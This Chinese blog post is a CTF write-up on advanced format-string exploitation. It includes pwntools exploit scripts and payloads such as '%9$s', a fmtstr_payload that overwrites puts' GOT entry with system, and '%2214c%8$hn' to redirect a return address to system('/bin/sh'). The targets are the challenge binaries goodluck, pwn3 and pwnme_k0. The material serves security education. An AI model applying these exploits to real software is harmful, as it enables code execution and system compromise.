格式化字符串漏洞进阶

March 2, 2019 PWN 访问: 31 次

64位下的格式化字符串漏洞的利用

在64位程序中,函数的传参规则:
1. 函数的前六个参数是通过寄存器,依次是“rdi, rsi, rdx, rcx, r8, r9”
2. 从第七个参数开始是直接从栈上获取的
通过简单的一个例题来具体解释一下,文件下载地址2017UIUCTF-pwn200
首先checksec一下,程序开启了canary保护和NX(栈不可执行)保护:

➜  64 checksec --file goodluck
[*] '/home/wxm/Desktop/\xe6\xa0\xbc\xe5\xbc\x8f\xe5\x8c\x96\xe5\xad\x97\xe7\xac\xa6\xe4\xb8\xb2\xe6\xbc\x8f\xe6\xb4\x9e/64/goodluck'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
➜  64

载入IDA分析程序流程。首先程序将本地的发flag.txt中的前22位读入到内存中,之后让用户输入一个字符串,然后这个字符串的每一位和正确的flag进行对比,如果出现一位不一样,那么将提示您的输入是错误的,并且将您的输入给输出出来,漏洞点就在这个输出上,程序直接写成“printf(format)”,从而造成了格式化字符串漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]
  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}

在本地测试,先新建一个flag.txt,写入“flag{aaaaaaaaaaaaaaaa}”,gdb动态调试程序,在printf下断点:

可以看到,flag存在地址为0x7fffffffdf80的栈上,而这个地址存在0x7fffffffdf78,相对于printf函数来说,前六个参数分别是rdi, rsi, rdx, rcx, r8, r9,那么栈顶的位置是printf函数的第七个参数,可以推出来存储这flag地址的栈地址相对于printf函数来说是第10个参数,所以相对于格式化字符串来说是第九个参数,直接构造payload“%9$s”,读取第10个参数中的地址上存的字符串。脚本如下:

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process("goodluck")
p.recv()
# gdb.attach(p,"b *0x40088B")
payload = "%9$s"
p.sendline(payload)
p.recv()

读取成功:

劫持GOT表

首先看一下程序调用libc中函数的时候经历了什么:

通过这张图我们可以清晰的看出来他们之间一层套一层的关系,在目前的C程序中,libc中的函数都是通过GOT表来进行跳转的,最重要的是,当一个程序没有开启RELRO保护的时候,每个libc的函数对应的GOT表项是可以被修改的。因此,我们可以修改某个libc函数的GOT表内容位另一个libc函数的地址来实现对程序流程的控制。

攻击流程:

  • 找到格式化字符串漏洞的利用点
  • 确定格式化字符串偏移
  • 获取函数一的GOT表地址
  • 确定函数B对的内存地址
  • 将函数B的内存地址写入到函数A的GOT表地址处

这里通过一个例子来简单的说一下,我在本地可能是环境没有搭好,所以libc的地址好像有点不对,没能在本地打通,这里只是说一下攻击流程,之后碰见真题再来这个补充
该题目源文件2016-CCTF-pwn3
checksec一下发现只开启了NX(栈不可执行)保护,RELRO是Partial RELRO,说明可以进行对got表的覆盖,如果这一项是FULLRELRO,那么我们就不可以对got表进行覆盖

➜  contributor checksec --file pwn3
[*] '/home/wxm/Desktop/\xe6\xa0\xbc\xe5\xbc\x8f\xe5\x8c\x96\xe5\xad\x97\xe7\xac\xa6\xe4\xb8\xb2\xe6\xbc\x8f\xe6\xb4\x9e/64/contributor/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

载入IDA,分析程序,发现在get_file函数中存在格式化字符串漏洞,并且printf的参数我们可以通过put_file来进行控制,接下来我们就可以通过漏洞点来泄露处某函数的地址,进而获取到libc版本以及system函数的地址,然后将system函数的地址覆盖到某一个函数的got地址中,当执行这个函数的时候,就等于说是执行了system函数。程序中,发现在show_dir中有将filename输出出来的puts函数,如果将文件名命名为“/bin/sh;”的话,那么再调用这个puts函数时,就是执行“system("/bin/sh;")”
首先我们先确定一下格式化字符串的偏移数,第一种方法就是在本地动态调试一波,手动算偏移

通过上图可以看出来偏移是7,所以构造payload读取的时候就是“%7$s”。另一种方法就是利用pwntools中自动化,本题测试脚本如下:

from pwn import *
context.log_level='debug'
def get_password():
    current = "sysbdmin"
    date = ""
    for x in xrange(len(current)):
        date += chr(ord(current[x])-1)
    return date #rxraclhm
def exec_fmt(payload):
    p = process("./pwn3")
    p.recv()
    p.sendline(get_password())
    p.recv()
    p.sendline("put")
    p.recv()
    p.sendline("filename1")
    p.recv()
    p.sendline(payload)
    p.recv()
    p.sendline("get")
    p.recv()
    p.sendline("filename1")
    info = p.recv()
    p.close()
    return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset

通过结果可以发现跟我们刚刚手动分析的是一致的

然后就是泄露puts函数got地址中的地址,exp如下,原理在格式化字符串漏洞初识

#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
def get_password():
    current = "sysbdmin"
    date = ""
    for x in xrange(len(current)):
        date += chr(ord(current[x])-1)
    return date #rxraclhm
def login():
    p.sendline(get_password())
def leak_put_addr(addr):
    #gdb.attach(p,"b *0x804889E")
    p.sendline("put")
    p.recv()
    p.sendline("filename1")
    p.recv()
    payload = p32(addr)+"%7$s"
    p.sendline(payload)
    p.recv()
    p.sendline("get")
    p.recv()
    p.sendline("filename1")
    put_addr = u32(p.recv()[4:8])
    return put_addr
p = process("pwn3")
file = ELF("pwn3")
libc = ELF("libc.so")
puts_got = file.got['puts']
p.recv()
login()
p.recv()
put_addr = leak_put_addr(puts_got)
log.info("put函数真实地址:"+hex(put_addr))

由于环境问题,没能计算出system的地址,按照教程往下演一遍
通过泄露出来的got表中的地址来找到libc版本,再推算出system在内存中的地址,然后通过pwntools中一个自动生成payload 的函数来生成payload,该函数利用方式如下:

fmtstr_payload(7,{puts_got:system_addr})
参数一:格式化字符从的偏移
参数二:是一个字典,键是将要覆盖的地址,该键对应的值是需要覆盖的值

把自动生成的payload打印出来:

[*] (\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%64c%7$hhn%114c%8$hhn%17c%9$hhn%36c%10$hhn

可以看出这个是利用了单字节的向指定地址写入,通过这种方法覆盖掉puts的地址,然后让程序执行puts函数即可

劫持retaddr

通过格式化字符串漏洞来修改函数的返回地址到system地址上
也是通过一个题来说明一下攻击流程,pwnme_k0
checksec一下发现该程序的RELRO是Full RELRO说明了不能覆盖got表的内容

➜  劫持rop checksec --file pwnme_k0
[*] '/home/wxm/Desktop/\xe6\xa0\xbc\xe5\xbc\x8f\xe5\x8c\x96\xe5\xad\x97\xe7\xac\xa6\xe4\xb8\xb2\xe6\xbc\x8f\xe6\xb4\x9e/\xe5\x8a\xab\xe6\x8c\x81rop/pwnme_k0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
➜  劫持rop

载入IDA查看函数流程:
运行程序,第一次输入的是输出用户名和密码

__int64 __fastcall sub_400903(__int64 buf, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 bufa, __int64 a8, __int64 a9, __int64 a10, __int64 a11)
{
  unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]
  puts("Register Account first!");
  puts("Input your username(max lenth:20): ");
  fflush(stdout);
  v12 = read(0, &bufa, 20uLL);
  if ( v12 && v12 <= 20u )
  {
    puts("Input your password(max lenth:20): ");
    fflush(stdout);
    read(0, &a9 + 4, 20uLL);
    fflush(stdout);
    *buf = bufa;
    *(buf + 8) = a8;
    *(buf + 16) = a9;
    *(buf + 24) = a10;
    *(buf + 32) = a11;
  }
  else
  {
    LOBYTE(bufa) = 48;
    puts("error lenth(username)!try again");
    fflush(stdout);
    *buf = bufa;
    *(buf + 8) = a8;
    *(buf + 16) = a9;
    *(buf + 24) = a10;
    *(buf + 32) = a11;
  }
  return buf;
}

然后输出一个菜单,分别可以查看和修改username和password,

__int64 sub_400A75()
{
  int buf; // [rsp+8h] [rbp-8h]
  buf = 0;
  puts("1.Sh0w Account Infomation!");
  puts("2.Ed1t Account Inf0mation!");
  puts("3.QUit sangebaimao:(");
  putchar(62);
  fflush(stdout);
  read(0, &buf, 5uLL);
  return atol(&buf);
}

在查看的函数中发现又可以利用的格式化字符串漏洞:

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf(&a9 + 4);
}

在修改函数中,发现对后来输入的内容进行了长度限制,username和password的长度都不得超过20位:

__int64 __fastcall sub_400B41(__int64 s, __int64 a2, __int64 dest, __int64 a4, __int64 a5, __int64 a6, __int64 sa, __int64 a8, __int64 desta, __int64 a10, __int64 a11)
{
  char buf; // [rsp+10h] [rbp-260h]
  char src; // [rsp+140h] [rbp-130h]
  unsigned __int8 v14; // [rsp+26Eh] [rbp-2h]
  char v15; // [rsp+26Fh] [rbp-1h]
  puts("please input new username(max lenth:20): ");
  fflush(stdout);
  v15 = read(0, &buf, 300uLL);
  if ( v15 <= 0 || v15 > 20 )
  {
    puts("len error(max lenth:20)!try again..");
    fflush(stdout);
    *s = sa;
    *(s + 8) = a8;
    *(s + 16) = desta;
    *(s + 24) = a10;
    *(s + 32) = a11;
  }
  else
  {
    memset(&sa, 0, 0x14uLL);
    strcpy(&sa, &buf);
    puts("please input new password(max lenth:20): ");
    fflush(stdout);
    v14 = read(0, &src, 0x12CuLL);
    if ( v14 && v14 <= 0x14u )
    {
      memset(&desta + 4, 0, 0x14uLL);
      sub_400AE5(&src);
      memcpy(&desta + 4, &src, v14);
      fflush(stdout);
      *s = sa;
      *(s + 8) = a8;
      *(s + 16) = desta;
      *(s + 24) = a10;
      *(s + 32) = a11;
    }
    else
    {
      puts("len error(max lenth:10)!try again..");
      fflush(stdout);
      *s = sa;
      *(s + 8) = a8;
      *(s + 16) = desta;
      *(s + 24) = a10;
      *(s + 32) = a11;
    }
  }
  return s;
}

gdb调试一下,在show函数的两个printf函数下断点,发现我们最一开始输入的字符串在相对于第一个printf是第9个参数,继续往下执行

当执行到第二个printf时,发现栈上的数据没变

查找字符串发现存在“/bin/sh”,根据字符串的引用发现存在system("/bin/sh")的函数,那么我们就可以通过修改函数的返回值位0x4008A6,这就可以直接获取到shell,那么在调用第二printf时,函数第返回地址所在的地址是printf第8个参数

最后,我们可以通过格式化字符串来修改这个栈上存着返回地址的值,那么栈是变化的,我们可以先泄露处调用printf时栈上第一个数据,然后算出偏移值
如果我们对这个地址4个四个字节进行修改的话,payload的长度会超过20位,则不能够达到我们的目的,原本函数的返回地址是0x400d74,我们需要修改成0x4008A6,发现只有最后两个字节是不一样的,所以我们修改最后两个字节就可以了,由于改程序是小端的,所以我们直接修改返回值所在的地址即可,payload:

推算出的返回值的栈地址
%2214c%8$hn

第一次输入需要泄露出栈上第一个数据:

%6$p

修改的时候第一次输入我们推算出来的地址,所在的位置是第二个printf的第9个参数,第二次我们输入“%2214c%8$hn”,即可对我们输入的地址进行覆盖,h是双字节写入。
exp:

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level = 'debug'
p = process("pwnme_k0")
file = ELF("pwnme_k0")
system = file.plt['system']
log.info("system addr:"+hex(system))
p.recv()
p.sendline("%6$p")
p.recv()
p.sendline("wxm")
p.recv()
p.sendline("1")
stack_addr =eval(p.recv()[:14])
log.info(hex(stack_addr))
p.sendline("2")
p.recv()
#gdb.attach(p,"b *0x400B28")
p.sendline(p64(stack_addr-56))
p.recv()
p.sendline("%2214c%8$hn")
p.recv()
p.sendline("1")
p.recv()
sleep(0.1)
p.interactive()

添加新评论